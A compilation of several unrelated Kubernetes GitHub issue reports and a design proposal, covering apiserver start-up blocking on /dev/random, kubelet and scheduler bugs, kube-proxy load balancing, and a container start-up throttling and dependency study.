 \r   what happened  :\r \r after upgrade from linux-4.16.2 to the linux-4.17 kernel the  kube-apiserver  hanged in early start for ~3-4 minutes on node-reboot. sub-sequent re-starts of  kube-apiserver  on the node did not hang.\r \r after trouble-shooting  with a fair amount of guessing  i come to the conclusion that the  kube-apiserver  continued it's startup when the  /dev/random  was unblocked. i added a  virtual rng device  https://wiki.qemu.org/features/virtiorng  and the problem disappeared.\r \r but to use  /dev/random  is  not the recommended way  https://www.2uo.de/myths-about-urandom/  and it causes these kind of hangings that are unexpected and hard to understand for end users. this can well be the cause for unexplained delays at other places. a simple google search shows plenty of cases where  /dev/random  is used and why  /dev/urandom  should be used instead and is equally secure.\r \r   what you expected to happen  :\r \r the  kube-apiserver  would start without blocking by using  /dev/urandom .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - use kvm/qemu vms with kernel linux-4.17\r - install kubernetes on the vms\r - make sure  virtual rng device  https://wiki.qemu.org/features/virtiorng  is   not   used\r - reboot all nodes\r - monitor the kube-apiserver startup\r \r   anything else we need to know?  :\r \r i could not configure the  virtual rng device  https://wiki.qemu.org/features/virtiorng  to use  /dev/random  on my host because starting 6 vms quickly drained the \ entropy\  on the host and i got hangings during startup still  but shorter . the trick was to bind the virtual device to  /dev/urandom  on my host.\r \r params to kvm/qemu;\r \r    \r -object rng-random,filename=/dev/urandom,id=rng0\ \r -device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000\ \r    \r \r and of course the guest kernel must be configured with support for the virtual device at;\r \r    \r character devices >\r   hardware random number generator core support >\r     virtio random number generator support \r    \r \r i have re-built kubernetes v1.10.3 locally on ubuntu 16.04.4 lts to add the fix for the  ipvs-bug  https://github.com/kubernetes/kubernetes/issues/59976 . hence the  -dirty  in the version below.\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.3-dirty\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ dirty\ , builddate:\ 2018-05-31t11:08:53z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r kvm on ubuntu 16.04.4 lts\r \r - os  e.g. from /etc/os-release :\r own busybox test system\r \r - kernel  e.g.  uname -a  :\r linux vm-003 4.17.0  2 smp sun jun 10 14:58:19 cest 2018 x86_64 gnu/linux\r \r - install tools:\r none\r \r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r pod gets restarted after sandboxchanged event.\r \r   what you expected to happen  :\r for the pod to continue without issues.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i think this is caused either by a memory or cpu resource shortage for kubelet. i've set kube-reserved to cpu: 100m and memory to 100mi. the same applies to system-reserved.\r \r i believe this is not sufficient for kubelet to operate and it kills some processes due to the insufficient memory. i cannot verify this because i cannot ssh into my machine to check kubelet logs.\r \r   anything else we need to know?  :\r i've searched for the meaning of a sandboxchanged event but i couldn't find it in the documentation. or any other pod event for that matter. can someone explain its meaning?\r \r i'd like to know if there are any requirements for the resources needed for kubelet to run properly. if there are please tell me.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.7\r - cloud provider or hardware configuration: gce, high-cpu-8 instance, 8 intel sandy bridge cores, 7.2 gi memory\r - os  e.g. from /etc/os-release : google container optimized os.\r - kernel  e.g.  uname -a  :\r - install tools: kops\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r \r kubernetes scheduler may leave a single pod stuck in pending state after a worker node is reloaded/reinstalled. this problem appears to have been introduced in kubernetes v1.12.4 and v1.13.1.  we have not been able to recreate the problem in our testing on earlier releases.  the key to the failure is that the worker being reloaded/reinstalled must be the only scheduling option available. the pending pod is eventually scheduled if a new scheduler leader is elected or the node status changes. this appears to be a timing bug since the problem does not always occur.\r \r   what you expected to happen  :\r \r no pods are stuck in pending state.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start with a single node cluster running a handful of pods.  cordon, drain and then reload/reinstall the node.  since this is a timing bug, it may take several iterations to recreate the problem.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.4, 1.13.1 and 1.13.2\r - cloud provider or hardware configuration: vms running in virtualbox\r - os  e.g. from /etc/os-release :  ubuntu 18.04.1 lts \r - kernel  e.g.  uname -a  :  linux carrier0-master-1 4.15.0-42-generic  45-ubuntu smp thu nov 15 19:32:57 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: custom ansible scripts\r - others: n/a\r

bug report\r \r    versions\r \r   kubeadm version   : v1.14.0\r \r   environment  :\r -   kubernetes version  : v1.14.0\r -   os  : centos linux release 7.6.1810\r -   kernel  : 5.0.5-1.el7.elrepo.x86_64\r \r    what happened?\r \r &emsp; some wrong happened, when i try to deploy worker node to my cluster whith  kubeadm join .... ，anything do follows  creating a single master cluster with kubeadm  https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/  ,but output as follows:\r \r    log\r  root@k8snode1 ~   kubeadm join 10.4.37.24:6443 --token 6ep0i4.q5teqelyzw3jopa6 --discovery-token-ca-cert-hash sha256:b6ecd6ad73e072f2290a14213e32b681cd41c9010a9403bb32e1e213f7c167d2\r  preflight  running pre-flight checks\r \t warning isdockersystemdcheck : detected \ cgroupfs\  as the docker cgroup driver. the recommended driver is \ systemd\ . please follow the guide at https://kubernetes.io/docs/setup/cri/\r  preflight  reading configuration from the cluster...\r  preflight  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r  kubelet-start  downloading configuration for the kubelet from the \ kubelet-config-1.14\  configmap in the kube-system namespace\r  kubelet-start  writing kubelet configuration to file \ /var/lib/kubelet/config.yaml\ \r  kubelet-start  writing kubelet environment file with flags to file \ /var/lib/kubelet/kubeadm-flags.env\ \r  kubelet-start  activating the kubelet service\r  kubelet-start  waiting for the kubelet to perform the tls bootstrap...\r  kubelet-check  initial timeout of 40s passed.\r \r unfortunately, an error has occurred:\r \ttimed out waiting for the condition\r \r this error is likely caused by:\r \t- the kubelet is not running\r \t- the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r \r if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r \t- 'systemctl status kubelet'\r \t- 'journalctl -xeu kubelet'\r error execution phase kubelet-start: timed out waiting for the condition\r    \r \r kubelet's status is running when i execute  systemctl status kubelet ，as this:\r \r    log\r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /usr/lib/systemd/system/kubelet.service; enabled; vendor preset: disabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: active  running  since 二 2019-04-02 15:04:44 cst; 2min 25s ago\r      docs: https://kubernetes.io/docs/\r  main pid: 9735  kubelet \r     tasks: 14\r    memory: 28.6m\r    cgroup: /system.slice/kubelet.service\r            └─9735 /usr/bin/kubelet\r \r 4月 02 15:07:09 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:189\r 4月 02 15:07:09 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:214\r 4月 02 15:07:09 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:125\r 4月 02 15:07:09 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:152\r 4月 02 15:07:09 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:153\r 4月 02 15:07:09 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r 4月 02 15:07:09 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:124\r 4月 02 15:07:09 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:54\r 4月 02 15:07:09 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r 4月 02 15:07:09 k8snode1 kubelet 9735 : /usr/local/go/src/runtime/asm_amd64.s:1337\r    \r \r then i try to look kubelet’s log, some info as follows:\r \r    log\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /usr/local/go/src/runtime/panic.go:522\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:189\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:214\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:125\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:152\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:153\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:124\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:54\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r 4月 02 15:37:33 k8snode1 kubelet 9735 : /usr/local/go/src/runtime/asm_amd64.s:1337\r 4月 02 15:37:34 k8snode1 kubelet 9735 : e0402 15:37:34.018898    9735 runtime.go:69  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r 4月 02 15:37:34 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:76\r 4月 02 15:37:34 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r 4月 02 15:37:34 k8snode1 kubelet 9735 : /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r     \r \r it give me some infos, like  invalid memory address or nil pointer dereference , but i can't ensure whether it cause my pain, and i can't deal with it.\r \r    what you expected to happen?\r \r &emsp;i have spent too match time to solve the problem, please helpe me.\r \r    how to reproduce it  as minimally and precisely as possible ?\r \r emm....like  creating a single master cluster with kubeadm  https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ \r

- kube-proxy with mode iptables can not lead traffic to each pod randomly, when deployment repleaces is 2\r \r - i have made some tests that request 1000 times one by one, when deployment repleaces is 2,but only the first pod get the all requests, the second pod can not get any request,\r this is my serivce yml template:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: xxxx\r   namespace: xxxx\r   labels:\r     run: xxxx\r spec:\r   ports:\r   - port: 8764\r     targetport: 8764\r   selector:\r     run: xxxx\r    \r \r - i don't know whether it is a bug ,or anyone can tell me why ?\r - i found k8s document says,\r    \r kube-proxy with mode iptables  when a client connects to the vip the iptables rule kicks in. a backend is chosen  either based on session affinity or randomly  and packets are redirected to the backend\r    \r so is it related to session affinity?\r

kubelet does a series of housekeeping/cleanup tasks, including removing pod directories, unmounting volumes, etc. the housekeeping tasks are currently intertwined with kubelet's main sync loop, and the frequency of housekeeping is uncertain.  we should investigate whether we should decouple housekeeping and individual pod operations by spawning a dedicated goroutine for it, and if we do, what the caveats are.  related issue:  13311  /cc @vishh @pwittrock

see documentation at https://godoc.org/k8s.io/kubernetes/pkg/runtime typemeta and docs from the command line  go doc  tool. please move these out of the type docstring.

throttling study    summary  the purpose of kubernetes is to orchestrate many, potentially big, applications that could be co-located on shared minions. kubernetes’ current policy when starting pods is to start them asap.  this can be sub-optimal for oltp applications where many processes/threads are started. during normal operation, those processes/threads are mostly idling, waiting for the next transaction, but when they are starting, they are cpu and io greedy.  starting all those processes simultaneously can cause start-up time degradation due to context switching and i/o saturation. in that case, starting them in a controlled manner can improve the start-up time and its predictability.  this study proposes to implement a throttling mechanism to improve start-up time predictability. it covers different possible policies, their pros/cons and implications.    table of contents -  throttling study   throttling-study    -  summary   summary    -  problematic   problematic      -  running does not imply ready   running-does-not-imply-ready      -  need for throttling   need-for-throttling        -  1. concurrency between the <code>starting</code> pod and the <code>ready</code> ones which are running on the same machine   1-concurrency-between-the-starting-pod-and-the-ready-ones-which-are-running-on-the-same-machine        -  2. concurrency between the <code>starting</code> containers and the other <code>starting</code> ones of the same pod   2-concurrency-between-the-starting-containers-and-the-other-starting-ones-of-the-same-pod    -  protect the <code>ready</code> pods from the <code>starting</code> ones on the same machine   protect-the-ready-pods-from-the-starting-ones-on-the-same-machine    -  limit the number of processes that are starting at a given time   limit-the-number-of-processes-that-are-starting-at-a-given-time      -  readiness detection   readiness-detection        -   ready  notification   ready-notification        -   ready  polling   ready-polling        -  preferred solution   preferred-solution      -  throttling policy   throttling-policy        -  limit the number of processes in the <code>starting</code> state   limit-the-number-of-processes-in-the-starting-state        -  time throttling   time-throttling        -  resource monitoring   resource-monitoring        -  composite policy   composite-policy      -  configuration example   configuration-example    -  dependency management proposal   dependency-management-proposal      -  cycle detection   cycle-detection    -  combining throttling with dependency management   combining-throttling-with-dependency-management      -  example of why dependency management needs to be combined with throttling   example-of-why-dependency-management-needs-to-be-combined-with-throttling      -  final picture   final-picture     problematic  we have applications that require many processes to be spawned on the same machine.  in order to port those applications to kubernetes, we plan to have many containers  with only one process inside  in a pod.     running does not imply ready  it is not because a process is started that it is ready to work and process traffic.  for example, we can have a process that starts its life by fetching some configuration elements from somewhere and doing some expensive configuration stuff before being really ready to work.  further in this document, we’ll make a distinction between  starting  and  ready  states. -  starting  means that the container is running, the process is live, but it is not ready to do its real “work”. for example, it may still be loading libraries, waiting for a database connection, building some internal caches, whatever… -  ready  means that the container is running, fully functional and ready to process incoming traffic.  by extension, we can define pod states as: -  starting  if a pod has at least one container in the  starting  state; -  ready  if all the containers of a pod are  ready .  in today’s kubernetes terminology, we don’t distinguish those states and both are named  running .     need for throttling  the initialization of the containers might be expensive in terms of cpu or i/o. we have examples of applications that: - load a huge number of dynamic libraries and the symbol relocation takes a significant amount of time; - retrieve some configuration from a file or a remote db and denormalize that configuration, this can be expensive as well; - create some local caches that need to be fed before the application can work; - etc.  a starting container which consumes a lot of resources can have two kind of consequences: 1. it slows down the  ready  containers which are already running on the same machine and cause a response time degradation of the services provided by pods that are running on the same machine than the starting one. 2. it slows down other  starting  containers which take longer to become  ready .      1. concurrency between the  starting  pod and the  ready  ones which are running on the same machine  this issue can be solved by adjusting the priorities of the different pods so that one pod cannot starve others.      2. concurrency between the  starting  containers and the other  starting  ones of the same pod  this increases the  starting  time of the processes themselves  resource starvation .  our processes have internal health checks that check that the  starting  phase does not last longer than a pre-defined time-out.  in case of resource starvation, the time-out expires and the startup is considered failed.  we previously solved this by limiting the number of processes that can start simultaneously in order to avoid resource starvation and have more predictable start-up times.    protect the  ready  pods from the  starting  ones on the same machine  let’s consider the situation where, on a given machine, we have: - a pod in the  ready  state which is not consuming a lot of cpu, but which is handling requests and their response times are critical. - a pod in the  starting  state which is very cpu greedy.  we want to prevent the  starting  pod from starving the  ready  one in order to protect the response times of the processes of the  ready  pod. we must guarantee that even if the  starting  pod has many more containers than the  ready  one.  today, docker containers are spawned in their own cgroups, all children of  /system.slice . as a consequence, all the containers have the same weight. if the  starting  pod has ten times more containers than the  ready  one, it will be allocated ten times more cpu.  having an additional layer with a slice per pod would allow to have a fair resource allocation per pod instead of having a fair resource allocation per container.  we propose to enhance docker to be able to specify the parent slice of containers’ cgroup   pull request  9436  https://github.com/docker/docker/pull/9436 ,  pull request  9551  https://github.com/docker/docker/pull/9551   and to enhance kubernetes to create one slice per pod.  before:      systemd-cgls ├─1 /sbin/init ├─system.slice │ ├─docker-123456….scope │ │ └─100 /foo/bar/baz │ ├─docker-123457….scope │ │ └─101 /foo/bar/baz │ ├─docker-123458….scope │ │ └─103 /foo/bar/baz │ ├─docker-123459….scope │ │ └─104 /foo/bar/baz      after:      systemd-cgls ├─1 /sbin/init ├─system.slice │ ├─kubernetes.slice │ │ ├─k8s_pod_x.slice │ │ │ ├─docker-123456….scope │ │ │ │ └─100 /foo/bar/baz │ │ │ └─docker-123457….scope │ │ │   └─101 /foo/bar/baz │ │ └─k8s_pod_y.slice │ │   ├─docker-123458….scope │ │   │ └─103 /foo/bar/baz │ │   └─docker-123459….scope │ │     └─104 /foo/bar/baz        limit the number of processes that are starting at a given time  to avoid overloading a machine, rather than start a container as soon as its image has been pulled, we propose to control that start with a policy.  when a pod is assigned to a minion, kubelet creates the following fsm for each container:  ! container fsm  https://rawgithub.com/lhuard1a/throttling-study/master/throttling_fsm.svg   when an image is pulled, the container is not started immediately. instead, it enters a  pending  state.  the  pending  to  starting  transition is triggered when the throttling policy authorizes it. the throttling policy is described below.  the  starting  to  ready  transition is triggered when the container is considered ready.     readiness detection  the  starting  to  ready  transition is new. this transition can be triggered in two ways: - either the containers send a notification to say they are ready; - or the containers are polled by docker/kube to check their readiness.       ready  notification  this solution requires the containers to notify their readiness.  systemd has a similar requirement and lets services notify their readiness via different means: - simple: the service is immediately ready; - forking: the service is ready as soon as the parent process exits; - dbus: the service is ready as soon as it acquires a name on d-bus - notify: the service is ready as soon at it has explicitly notified systemd about it by posting a message on a dedicated unix socket via the  sd_notify  function.  for containers, the  notify  service type sounds to be the most suitable.       pros - notification is sent as soon as possible.       cons - either it introduces some “systemd” dependency, or it requires to implement another notification mechanism inspired by the  sd_notify  feature. in all cases, it is intrusive since it requires to implement something in the containerized processes. - this may be perceived as an advantage because existing programs may already implement this  sd_notify  call.   in practice, when possible, it is preferable to decouple the public resource allocation  socket binding for example  from the program start-up. concretely, the sockets are bound by systemd itself, the program is  type=simple   considered as ready immediately  and the program receives the file descriptor of the socket.       ready  polling  this solution consists in having docker/kube regularly check the  readiness  of containers.  such a mechanism already exists in kubernetes as livenessprobe. there are already different flavours of livenessprobes: - http probe: try to do an http get on a given url - tcp probe: try to connect on a given port - exec: try to execute an arbitrary command inside the container  the last one sounds generic enough to implement anything.       pros - livenessprobe is a mechanism that already exists; - it is not intrusive since it doesn’t require to implement an  sd-notify -like call in the programs.       cons - it is based on “polling”. - more fork/exec.      preferred solution  reusing the livenessprobe mechanism.     throttling policy  this is what triggers the  pending  to  starting  transition.  several strategies are possible:      limit the number of processes in the  starting  state  this policy allows a container to go from  pending  to  starting  as soon as the number of containers in  starting  state on the minion  whatever the pod it belongs to  drops below a pre-defined threshold.       pros - simple       cons - it’s non-trivial to set the threshold.      if the processes are cpu bound and are consuming 100% of a cpu when they are in  starting  state, then, the optimal threshold would be the number of cores of the machine.      if the processes are mostly waiting for external resources, then, the above recommendation is suboptimal.      if the processes are multi-threaded and are consuming 100% of 3 cpus, then, the optimal threshold is the third of the number of cores of the machine. - if processes are stuck in the  starting  state, they will prevent other containers from being started. it is thus mandatory to implement a time-out mechanism that passes the  starting  containers in  failed  state if they stay in  starting  for too long.      time throttling  this policy allows only a maximum number of containers to become  starting  per a given amount of time. ex: 2 containers per minion can be started per second.       pros - simple - ensures that all containers startup will be _triggered_ within a predictible time, giving a chance to all containers to become ready.       cons - does not guarantee that:   - the machine is never overloaded   - the resources of the machines are optimized  we don’t uselessly throttle a container whereas the cpu is idle, there is no i/o, etc.       resource monitoring  this policy allows a container to become  starting  only if: - the cpu consumption drops below a given threshold during a given amount of time - the i/o usage drops below a given threshold during a given amount of time - the load average of the machine drops below a given threshold       pros - really takes into account the available resource of the machine and its usage to optimize usage without overloading it       cons - implementation is more complex - if the machine is loaded by things other than  starting  containers  like  ready  containers or even processes running on the machine that are not docker containers , it will prevent containers from starting.      composite policy  the “resource monitoring” policy is the one that better uses the resources but it relies on resource consumption averaged for a given amount of time.  it should be combined with a maximum number of  starting  containers and a maximum start-up rate in order to not start too many containers before the “average cpu for last 10s” or “average i/o for last 10s” or “load average for 1min” increases.  if we limit the maximum number of  starting  containers, we must have a time-out mechanism that prevents containers from staying in  starting  for too long.  if the resource consumption doesn’t drop when containers leave the  starting  state — either because the  ready  containers also consume resources, or because some resources are consumed by processes outside kubernetes — it will prevent  pending  containers from starting for ever. in order to avoid that, we need to have a minimum start-up rate that guarantees that we will eventually start all the containers.       pros - the only one that works in all cases?       cons - complex     configuration example  the throttling mechanism described in this section is about avoiding resource starvation. the resources are global to the machine. as a consequence, the settings cannot be at the the pod level. they need to be at the minion level  we could have a configuration file attached to minions.   m1_config.json :      json {   \ kind\ : \ minionconfig\ ,   \ apiversion\ : \ v1beta1\ ,   \ throttling\ : {     \ maxstartingcontainerspercore\ : \ 3\ ,     \ maxloadaveragemulitplier\ : \ 1.5\ ,     \ maxcpu\ : \ 80%\ ,     \ minrate\ : \ 0.1\ ,     \ maxrate\ : \ 10\    } }          sh kubecfg -c m1_config.json update minions/192.168.10.1     -   maxstartingcontainerspercore  : the maximum number of containers per core that could be in the  starting  state on the machine. -   maxloadaveragemultiplier  : can be a factor multiplied by the number of cores of the machine -   minrate  : whatever the other settings, we’ll start at least one container every 10s  i.e: 0.1 container per second  -   maxrate  : whatever the other settings, we’ll start at most 10 containers per second  i.e: 1 container every 100ms     dependency management proposal  “a pod is a collocated group of containers  …  which are tightly coupled — in a pre-container world, they would have executed on the same physical or virtual host.”  extract from the  pods definition  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/pods.md    as they are tightly coupled, there might be dependencies between containers. in a “pre-container world”, they would have been spawned on a host by an init system able to handle dependencies.  we propose to enhance kubernetes to use a dependency graph inside pods to decide which containers can be started and which containers must wait for others.  let’s consider, as an example, a pod with 5 containers linked together by the following dependencies:  ! dependency graph  https://rawgithub.com/lhuard1a/throttling-study/master/dependency_graph.svg   such a dependency graph could be described in the pod json like this:      json {   \ kind\ : \ pod\ ,   \ apiversion\ : \ v1beta1\ ,   \ id\ : \ app\ ,   \ desiredstate\ : {     \ manifest\ : {       \ version\ : \ v1beta1\ ,       \ id\ : \ app\ ,       \ containers\ :  {         \ name\ : \ app_a\ ,         \ image\ : \ me/app_a\ ,         \ livenessprobe\ : {           \ exec\ : {             \ command\ : \ /check_a_health\            }         }       },{         \ name\ : \ app_b\ ,         \ image\ : \ me/app_b\ ,         \ livenessprobe\ : {           \ exec\ : {             \ command\ : \ /check_b_health\            }         },         \ dependson\ :             \ mag\                  },{         \ name\ : \ app_c\ ,         \ image\ : \ me/app_c\ ,         \ livenessprobe\ : {           \ exec\ : {             \ command\ : \ /check_c_health\            }         },         \ dependson\ :             \ app_b\                  },{         \ name\ : \ app_d\ ,         \ image\ : \ me/app_d\ ,         \ livenessprobe\ : {           \ exec\ : {             \ command\ : \ /check_d_health\            }         },         \ dependson\ :             \ app_b\                  },{         \ name\ : \ app_e\ ,         \ image\ : \ me/app_e\ ,         \ livenessprobe\ : {           \ exec\ : {             \ command\ : \ /check_e_health\            }         },         \ dependson\ :             \ app_c\ ,           \ app_d\                  }      }   },   \ labels\ : {     \ name\ : \ app\    } }      the pod start-up sequence is amended so that, when a pod is assigned to a minion, kubelet creates the following fsm for each container:  ! container fsm  https://rawgithub.com/lhuard1a/throttling-study/master/dependency_fsm.svg   the containers are initially in the  downloading  state. once the image is pulled, they move to the new  blocked  state.  when a container x reaches the  blocked  state, the state of all its dependencies are checked. if all of them are  ready , the container x moves to  starting  immediately. this is for example always the case for the containers which have no dependency.  then, when a container x passes the  starting  to  ready  transition, for each container yi in the  blocked  state that depends on x, we check the state of all the dependencies of yi. if all of them are  ready , then the yi container becomes  starting .  in the example above, when the  app_c  container becomes  ready , the state of  app_d  is checked. it it’s  ready , then the state of  app_e  moves from  blocked  to  starting .     cycle detection  we must ensure that the dependency graph is a directed acyclic graph  dag , that is to say that we do not have circular dependencies among our containers.  this could, for example, be checked when parsing the json if we enforce a rule saying that the  dependson  list of a container can only contain containers previously declared in the file.    combining throttling with dependency management     example of why dependency management needs to be combined with throttling  let’s imagine a pod with 3 containers a, b and c. those 3 containers can be started in any order in the sense that they won’t fail, crash or prematurely exit if the others are not there.  however, b and c needs to communicate with a in order to become  ready .  for example: - a is a database. it notifies its readiness as soon as it is ready to process requests. - b is an application that needs to connect to the database to configure itself. it notifies its readiness as soon as it is configured. - c is similar to b  the throttling settings limit the number of containers authorized to be in  starting  at the same time to 2.  we have no dependency expressed in the pod json.  if we are lucky, things can happen in this order: - b starts. it cannot configure itself because a is not there. it is waiting for a. - a starts. - a is ready. - as a becomes ready, there is one “starting” slot available to make c start. - b connects to a. b configure itself and eventually becomes ready - c connects to a, configure itself and becomes ready  ! lucky flow  https://rawgithub.com/lhuard1a/throttling-study/master/lucky_flow.svg   note that even if this works, before a becomes  ready , b “consumes” a  starting  slot although it is not consuming resources. it is sub-optimal as, if we knew that b depends on a, we could have started a container of an other pod which doesn’t depend on a.  if we are unlucky, things can happen in this order: - b and c are started. they are waiting for being able to connect to a - a is not started because we already have two processes in the starting mode which is the maximum allowed by our policy. - we’re dead-locked.  ! unlucky flow  https://rawgithub.com/lhuard1a/throttling-study/master/unlucky_flow.svg   this trivial example shows that - limiting the number of processes starting at a time and - having process readiness conditioned by other process readiness  is not possible if we cannot enforce a start-up order. that’s why if the readiness of some containers depends on the readiness of others, this dependency needs to be handled as described in the previous section.     final picture  here is the complete fsm of containers:  ! unluck flow  https://rawgithub.com/lhuard1a/throttling-study/master/dependency_throttling_fsm.svg   some states have associated actions that are triggered when the state is entered: -  downloading : the image is fetched with a  docker pull ; -  blocked : the container can be created with  docker create  but not started; -  starting : the container is started with  docker start .  the transitions are defined as followed: - when a pod is assigned to a minion, all its containers are put in the  downloading  state. - when the image is pulled, the container becomes  blocked . - immediately, the dependencies of that container are checked. if they are all in the  ready  state, then the container becomes  pending  immediately, otherwise, it stays in  blocked  state. - when there are containers in the  pending  state, the throttling mechanism regularly checks if conditions are met to take a  pending  container and make it progress to  starting . - livenessprobes regularly check if  starting  containers are  ready . the first time a livenessprobe reports a success, the container becomes  ready . - if a container remains  starting  for longer time than a pre-defined threshold without its livenessprobe reporting success, the container becomes  failed . - each time a container leaves the  starting  state, we check all the dependencies of the  blocked  containers that depend on it. if they are all  ready , then that  blocked  container becomes  pending .

while using the k8s client in my own code, i noticed that the useragent was odd:  user-agent: dns-controller/v0.0.0  linux/amd64  kubernetes/$format   i think we should either pre-bake a k8s version into the foramt string as part of client-go, or we should document the expected variable substitutions.   i wasn't using client-go here, i was using the main repo, but i believe the same problem exists   cf https://github.com/kubernetes/client-go/blob/master/1.4/pkg/version/base.go l45-l56

